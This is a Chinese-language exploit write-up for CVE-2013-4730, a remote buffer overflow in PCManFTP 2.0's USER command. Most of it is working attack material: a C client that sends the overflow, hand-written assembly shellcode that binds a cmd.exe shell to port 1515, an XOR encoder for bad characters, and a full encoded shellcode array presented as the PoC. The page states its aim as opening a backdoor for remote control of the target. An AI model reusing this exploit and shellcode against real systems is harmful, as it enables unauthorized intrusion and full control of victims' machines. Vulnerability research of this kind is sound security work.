通过一个远程溢出漏洞实现开后门的操作
PCManFTP v2.0(CVE-2013-4730)漏洞分析
软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows 7
漏洞编号:CVE-2013-4730
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程
1. 软件简介
PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2. 漏洞成因
PCMan’s FTP Server 2.0.0版本中存在缓冲区溢出漏洞,没有正确验证用户提供的输入,远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
3. 利用过程
3.1 前提
需要些一份能与FTP进行交互的代码:
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR *)& stService, sizeof(stService));
// 4. 构造Exploit
char cExpolit[5000] = { 0x00 }; // Exploit容器
char cFill[5000] = { 0x00 }; // 填充字节
char cNOP[51] = { 0x00 }; // 滑板指令区
char cRetnAddr[5] = "\xE5\x28\xF4\x75"; // JMP ESP:0x75DFE555
memset(cFill, 'A', 2006); // 由Mona得到的偏移
memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来
sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode2, "\r\n");
// 5. 向FTP发送Exploit
char szRecv[0x100] = { 0 };
char *pCommand = "USER
// 5.1 接受欢迎语
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 发送登陆请求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
3.2 Fuzz
运行Windbg,使用Mona插件生成一段3000字节长度的测试字符串,用于确定溢出点。
运行程序,触发溢出后,可用命令得到溢出点的偏移位置
接下来可以借助Mona在目标程序空间找到一个跳板指令“JMP ESP”,命令:!py mona jmp –resp –m “kernel32.dll”,由于我的Mona这个命令不好使,所以用X86dbg随便找了一个跳板指令。
3.3 ShellCode编写
sub esp, 0x20; // 开辟一段栈空间,增加健壮性
push ebp;
mov ebp, esp;
//pushad;
sub esp, 0x20;
jmp ShellCode;
// [tag_Next-0x25] "cmd.exe\0"
_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
// [tag_Next-0x1D] "ws2_32.dll\0"
_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// [tag_Next-0x12] "kernel32.dll\0"
_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x00)
ShellCode:
call Next;
Next:
pop ebx;
mov[ebp - 0x04], ebx; // Local_1 = Shellcode BaseAddr
mov esi, dword ptr fs : [0x30];
mov esi, [esi + 0x0c];
mov esi, [esi + 0x1c];
mov esi, [esi];
mov edx, [esi + 0x08];//dllbase
//mov[ebp - 0x08], edx // Local_2 = Kernel32.dll基址
push edx; // ImageBase = Kernel32.dll
push 0xC0D83287;// nHashDigest = LoadLibraryExA Digest
call fun_GetFunAddrByHash;
mov edi, eax // edi = LoadLibraryExA
// 4. 加载Kernel32.dll,增强兼容新(Win7取得的是KernelBase.dll的基址)
lea esi, [ebx - 0x12] // eax = "kernel32.dll\0"
push 0 // /-dwFlags = 0
push 0 // |-hFile = 0
push esi // |-lpLibFileName = "kernel32.dll"
call edi // LoadLibraryExA()
mov[ebp - 0x08], eax // Local_2 = Kernel32.dll基址
// 5. 加载ws2_32.dll,以方便后面的网络通信编程
lea esi, [ebx - 0x1D]; // eax = "ws2_32.dll\0"
push 0; // /-dwFlags = 0
push 0; // |-hFile = 0
push esi; // |-lpLibFileName = "ws2_32.dll"
call edi; // LoadLibraryExA()
mov[ebp - 0x0C], eax; // Local_3 = ws2_32.dll基址
// 6. 调用Payload部分
push[ebp - 0x0C]; // ws2_32.dll基址
push[ebp - 0x08]; // Kernel32.dll基址
push[ebp - 0x04]; // BaseAddr
call fun_Payload;
// 7. Payload执行完毕,结束程序,防止被调试分析
push[ebp - 0x08]; // ImageBase = Param_2(Kernel32.dll)
push 0x4FD18963; // nHashDigest = ExitProcess Digest
call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
push 0; // /-uExitCode = NULL
call eax; // ExitProcess()
mov esp, ebp;
pop ebp;
fun_GetFunAddrByHash:
push ebp;
mov ebp, esp;
sub esp, 0x20;
push edx;
mov edx, [ebp + 0xc];//参数 dllbase
mov esi, [edx + 0x3c];//PE头的偏移
lea esi, [edx + esi];//不能mov esi,edx+esi? PE头的VA
mov esi, [esi + 0x78];//扩展头中的导出表结构体中的RVA
lea esi, [esi + edx];//导出表在文件中的具体位置VA是一个结构体的首地址
mov edi, [esi + 0x1c];//结构体中的函数地址表的RVA(AddressOfFunctions)
lea edi, [edx + edi];
mov[ebp - 0x04], edi;//函数地址表VA
mov edi, [esi + 0x20];
lea edi, [edi + edx];
mov[ebp - 0x08], edi;//函数名称表VA
mov edi, [esi + 0x24];
lea edi, [edi + edx];
mov[ebp - 0x0c], edi;//序号表的VA
xor ecx, ecx;
jmp tag_FirstCmp;
tag_CmpFunNameLoop:
inc ecx;
tag_FirstCmp:
mov esi, [ebp - 0x08];
mov esi, [esi + ECX * 4];//函数名称RVA数组
mov edx, [ebp + 0x0c];//ImageBase
lea esi, [esi + edx];//函数名称VA
push[ebp + 0x08]; // nHashDigest = LoadLibraryExA Digest
push esi; // strFunName = ENT VA
call fun_Hash_CmpString;
test eax, eax;
jz tag_CmpFunNameLoop; // 如果不相等则继续循环比对
// 3. 成功后找到对应的序号
mov esi, [ebp - 0x0C]; // esi = Local_3(EOT)
xor edi, edi;
mov di, [esi + ecx * 2]; // edi = 用函数名数组下标在序号数组找到对应序号
// 4. 使用序号作为索引,找到函数名所对应的函数地址
mov edx, [ebp - 0x04]; // edx = Local_1(EAT)
mov esi, [edx + edi * 4]; // esi = 用序号在函数地址数组找到对应的函数地址
mov edx, [ebp + 0x0C]; // edx = Param_1(ImageBase)
// 5. 返回获取到的关键函数地址
lea eax, [edx + esi]; // 返回GetProcAddress的地址
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;
fun_Hash_CmpString:
push ebp;
mov ebp, esp;
sub esp, 0x04; // 开辟局部变量并清零
mov dword ptr[ebp - 0x04], 0x00;
push ebx; // 保存用到的寄存器
push ecx;
push edx;
mov esi, [ebp + 0x08]; // esi = Param_1(strFunName)(从ENT中的va)
xor ecx, ecx;
xor eax, eax;
tag_HashLoop:
mov al, [esi + ecx]; // al = 字符串的第ECX个字符
test al, al; // 判断是否为0,为0结束循环
jz tag_HashEnd;
mov ebx, [ebp - 0x04]; // ebx = Local_1(摘要)
shl ebx, 0x19; // ebx = 摘要<<0x19(25)
mov edx, [ebp - 0x04]; // edx = Local_1(摘要)
shr edx, 0x07; // edx = 摘要>>0x07(07)
or ebx, edx; // edx = ebx|edx
add ebx, eax; // edx = edx + 字符的ASCII
mov[ebp - 0x04], ebx;
inc ecx; // ecx++
jmp tag_HashLoop;
tag_HashEnd:
mov ebx, [ebp + 0x0C]; // ebx = Param_2(nDigest)
mov edx, [ebp - 0x04]; // edx = Local_1(摘要)
xor eax, eax;
cmp ebx, edx;
jne tag_FunEnd;
mov eax, 1;
tag_FunEnd:
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
retn 0x08;
fun_Payload: // (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
push ebp;
mov ebp, esp;
sub esp, 0x300;
// 1. 初始化Winsock服务
push[ebp + 0x10]; // ImageBase = Param_3(ws2_32.dll)
push 0x80B46A3D; // nHashDigest = WSAStartup Digest
call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
lea esi, [ebp - 0x300]; // esi = WSADATA
push esi; // /-lpWSAData = WSADATA
push 0x0202; // |-wVersionRequested = 2.2
call eax; // WSAStartup()
test eax, eax;
jnz tag_PaloadEnd;
// 2. 创建一个原始套接字
push[ebp + 0x10]; // ImageBase = Param_3(ws2_32.dll)
push 0xDE78322D; // nHashDigest = WSASocketA Digest
call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
push 0; // /-dwFlags = NULL
push 0; // |-g = NULL
push 0; // |-lpProtocolInfo = NULL
push 6; // |-protocol = IPPROTO_TCP
push 1; // |-type = SOCK_STREAM
push 2; // |-af = AF_INET
call eax; // WSASocketA()
mov[ebp - 0x04], eax; // Local_1 = SOCKET
// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0xBE05]
push[ebp + 0x10]; // ImageBase = Param_3(ws2_32.dll)
push 0xDDA71064; // nHashDigest = bind Digest
call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
mov word ptr[ebp - 0x200], 0x02; // / SOCKADDR_IN.sin_family = AF_INET
mov word ptr[ebp - 0x1FE], 0xEB05; // | SOCKADDR_IN.sin_port = 0xEB05(1515)
mov dword ptr[ebp - 0x1FC], 0; // \ SOCKADDR_IN.sin_addr = INADDR_ANY
lea esi, [ebp - 0x200]; // esi = SOCKADDR_IN
push 0x14; // /-namelen = 0x14
push esi; // |-name = SOCKADDR_IN
push[ebp - 0x04]; // |-s = Local_1(SOCKET)
call eax; // bind()
test eax, eax;
jnz tag_PaloadEnd;
// 4. 监听申请的连接,队列中可容纳5个链接
push[ebp + 0x10]; // ImageBase = Param_3(ws2_32.dll)
push 0x4BD39F0C; // nHashDigest = listen Digest
call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
push 0x7FFFFFFF; // /-backlog = SOMAXCONN
push[ebp - 0x04]; // |-s = Local_1(SOCKET)
call eax; // listen()
test eax, eax;
jnz tag_PaloadEnd;
// 5. 接受一个连接;
push[ebp + 0x10]; // ImageBase = Param_3(ws2_32.dll)
push 0x01971EB1; // nHashDigest = accept Digest
call fun_GetFunAddrByHash; // fun_GetFunAddrByHash
push 0; // /-addrlen = NULL
push 0; // |-addr = NULL
push[ebp - 0x04];; // |-s = Local_1(SOCKET)
call eax; // accept()
mov[ebp - 0x04], eax; // Local_1(SOCKET) = SOCKET
// 6. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
push[ebp + 0x0C]; // ImageBase = Param_2(Kernel32.dll)
push 0x6BA6BCC9; // nHashDigest = CreateProcessA Digest
call fun_GetFunAddrByHash;// fun_GetFunAddrByHash
mov edx, eax; // edx = CreateProcessA
lea edi, [ebp - 0x90]; // / 清空STARTUPINFOA
mov ecx, 0x11 // | STARTUPINFOA
mov eax, 0x00 // | 从[ebp-0x90]开始
cld // | 到[ebp-0x48]结束
rep stosd // |
mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb = 48
mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
mov word ptr[ebp - 0x60], 0x0000 // | STA...A.wShowWindow = SW_HIDE
mov esi, [ebp - 0x04] // esi = Local_1(SOCKET)
mov dword ptr[ebp - 0x58], esi // | STA...A.hStdInput = SOCKET
mov dword ptr[ebp - 0x54], esi // | STA...A.hStdOutput = SOCKET
mov dword ptr[ebp - 0x50], esi // \ STA...A.hStdError = SOCKET
lea esi, [ebp - 0x90] // esi = STARTUPINFOA
lea edi, [ebp - 0x200] // edi = PROCESS_INFORMATION
mov ebx, [ebp + 0x08] // ebx = Param_1(BaseAddr)
lea ebx, [ebx - 0x25] // ebx = "cmd.exe\0"
push edi // /-lpProcessInformation = PROCESS_INFORMATION
push esi // |-lpStartupInfo = STARTUPINFOA
push 0 // |-lpCurrentDirectory = NULL
push 0 // |-lpEnvironment = NULL
push 0 // |-dwCreationFlags = NULL
push 1 // |-bInheritHandles = TRUE
push 0 // |-lpThreadAttributes = NULL
push 0 // |-lpProcessAttributes = NULL
push ebx // |-lpCommandLine = "cmd.exe\0"
push 0 // |-lpApplicationName = NULL
call edx // CreateProcessA()
tag_PaloadEnd:
mov esp, ebp;
pop ebp;
retn 0x0C;
}
编译成功后,通过X86dbg的复制ShellCode功能将机器码复制出来
由于原始ShellCode有字符截断的问题,需要加密ShellCode,代码如下
int nOutKey = 0x00;
unsigned char *pBuffer = NULL;
bool bComplete = true;
pBuffer = (unsigned char*)new char[nSize + 1];
for (int key = 0; key < 0xff; key++)
{
nOutKey = key;
bComplete = true;
for (int i = 0; i < nSize; i++)
{
pBuffer[i] = pData[i] ^ key;
if (0x00 == pBuffer[i] | 0x0A == pBuffer[i] | 0x0B == pBuffer[i])
{
bComplete = false;
break;
}
}
if (bComplete)break;
}
if (!bComplete) return false;
FILE *fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
return false;
fprintf(fpOutFile, "/*Encode Key =0x%0.2X */\n", nOutKey);
fprintf(fpOutFile, "char bShellcode[] = \\\n\"");
for (int i = 0; i < nSize; i++)
{
fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]);
if ((i + 1) % 16 == 0)
fprintf(fpOutFile, "\" \\\n\"");
}
fprintf(fpOutFile, "\";");
fclose(fpOutFile);
delete[] pBuffer;
将解密代码放在ShellCode前面,可以通过
lea eax, bShellcode;
push eax;
ret;
来验证代码是否正确。
3.4 效果
最后通过控制台命令telnet可以实现操作对方主机.
4.PoC
#define KEY "\x18" // Encode Key = 0x07
#define SIZE "\x81\x02" // Payload Size = 0x0136 0x281
char bShellcode2[] = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9" \
SIZE "\x8A\x04\x0E\x34" KEY "\x88\x04\x0E\xE2\xF6\x80\x34\x0E" KEY \
"\xFF\xE6" \
"\x4D\x93\xF4\x4B\x4E\x4F\x9B\xF4\x38\x4D\x93\xF4\x9B\xF4\x38\xF3" \
"\x38\x7B\x75\x7C\x36\x7D\x60\x7D\x18\x6F\x6B\x2A\x47\x2B\x2A\x36" \
"\x7C\x74\x74\x18\x73\x7D\x6A\x76\x7D\x74\x2B\x2A\x36\x7C\x74\x74" \
"\x18\xF0\x18\x18\x18\x18\x43\x91\x45\xE4\x7C\x93\x2D\x28\x18\x18" \
"\x18\x93\x6E\x14\x93\x6E\x04\x93\x2E\x93\x4E\x10\x4A\x70\x9F\x2A" \
"\xC0\xD8\xF0\x26\x18\x18\x18\x93\xE0\x95\x6B\xF6\x72\x18\x72\x18" \ "\x4E\xE7\xCF\x91\x5D\xE0\x95\x6B\xFB\x72\x18\x72\x18\x4E\xE7\xCF" \ "\x91\x5D\xEC\xE7\x6D\xEC\xE7\x6D\xE0\xE7\x6D\xE4\xF0\xD5\x18\x18" \ "\x18\xE7\x6D\xE0\x70\x7B\x91\xC9\x57\xF0\x1F\x18\x18\x18\x72\x18" \ "\xE7\xC8\x93\xFD\x45\x4D\x93\xF4\x9B\xF4\x38\x4A\x93\x4D\x14\x93" \ "\x6A\x24\x95\x2C\x2A\x93\x6E\x60\x95\x2C\x0E\x93\x66\x04\x95\x24" \ "\x22\x91\x65\xE4\x93\x66\x38\x95\x24\x0F\x91\x65\xE0\x93\x66\x3C" \ "\x95\x24\x0F\x91\x65\xEC\x2B\xD1\xF3\x19\x59\x93\x6D\xE0\x93\x2C" \ "\x96\x93\x4D\x14\x95\x2C\x0E\xE7\x6D\x10\x4E\xF0\x38\x18\x18\x18" \ "\x9D\xD8\x6C\xFE\x93\x6D\xEC\x2B\xE7\x7E\x93\x24\x56\x93\x4D\xE4" \ "\x93\x2C\xA2\x93\x4D\x14\x95\x1C\x2A\x42\x93\xFD\x45\xDA\x10\x18" \ "\x4D\x93\xF4\x9B\xF4\x1C\xDF\x5D\xE4\x18\x18\x18\x18\x4B\x49\x4A" \ "\x93\x6D\x10\x2B\xD1\x2B\xD8\x92\x1C\x16\x9C\xD8\x6C\x0E\x93\x45" \ "\xE4\xD9\xFB\x01\x93\x4D\xE4\xD9\xF2\x1F\x13\xC2\x1B\xC0\x91\x45" \ "\xE4\x59\xF3\xFB\x93\x45\x14\x93\x4D\xE4\x2B\xD8\x23\xC2\x6D\x1D" \ "\xA0\x19\x18\x18\x18\x42\x41\x43\x93\xFD\x45\xDA\x10\x18\x4D\x93" \ "\xF4\x99\xF4\x18\x1B\x18\x18\xE7\x6D\x08\x70\x25\x72\xAC\x98\xF0" \ "\x29\xE7\xE7\xE7\x95\xAD\x18\xE5\xE7\xE7\x4E\x70\x1A\x1A\x18\x18" \ "\xE7\xC8\x9D\xD8\x17\x9D\xE7\x18\x18\x18\xE7\x6D\x08\x70\x35\x2A" \ "\x60\xC6\xF0\x16\xE7\xE7\xE7\x72\x18\x72\x18\x72\x18\x72\x1E\x72" \ "\x19\x72\x1A\xE7\xC8\x91\x5D\xE4\xE7\x6D\x08\x70\x7C\x08\xBF\xC5" \ "\xF0\xE8\xE6\xE7\xE7\x7E\xDF\x9D\x18\xE6\xE7\xE7\x1A\x18\x7E\xDF" \ "\x9D\x1A\xE6\xE7\xE7\x1D\xF3\xDF\x9D\x1C\xE6\xE7\xE7\x18\x18\x18" \ "\x18\x95\xAD\x18\xE6\xE7\xE7\x72\x0C\x4E\xE7\x6D\xE4\xE7\xC8\x9D" \ "\xD8\x17\x9D\xBA\x18\x18\x18\xE7\x6D\x08\x70\x14\x87\xCB\x53\xF0" \ "\xA9\xE6\xE7\xE7\x70\xE7\xE7\xE7\x67\xE7\x6D\xE4\xE7\xC8\x9D\xD8" \ "\x17\x9D\x9B\x18\x18\x18\xE7\x6D\x08\x70\xA9\x06\x8F\x19\xF0\x8A" \ "\xE6\xE7\xE7\x72\x18\x72\x18\xE7\x6D\xE4\xE7\xC8\x91\x5D\xE4\xE7" \ "\x6D\x14\x70\xD1\xA4\xBE\x73\xF0\x61\xE6\xE7\xE7\x93\xC8\x95\xA5" \ "\x68\xE7\xE7\xE7\xA1\x09\x18\x18\x18\xA0\x18\x18\x18\x18\xE4\xEB" \ "\xB3\xDF\x9D\x68\xE7\xE7\xE7\x5C\x18\x18\x18\xDF\x5D\x84\x18\x19" \ "\x18\x18\x7E\xDF\x5D\xB8\x18\x18\x93\x6D\xE4\x91\x6D\xB0\x91\x6D" \ "\xB4\x91\x6D\xA8\x95\xAD\x68\xE7\xE7\xE7\x95\xA5\x18\xE6\xE7\xE7" \ "\x93\x45\x10\x95\x43\xC3\x4F\x4E\x72\x18\x72\x18\x72\x18\x72\x19" \ "\x72\x18\x72\x18\x4B\x72\x18\xE7\xCA\x93\xFD\x45\xDA\x14\x18\x18" \ "";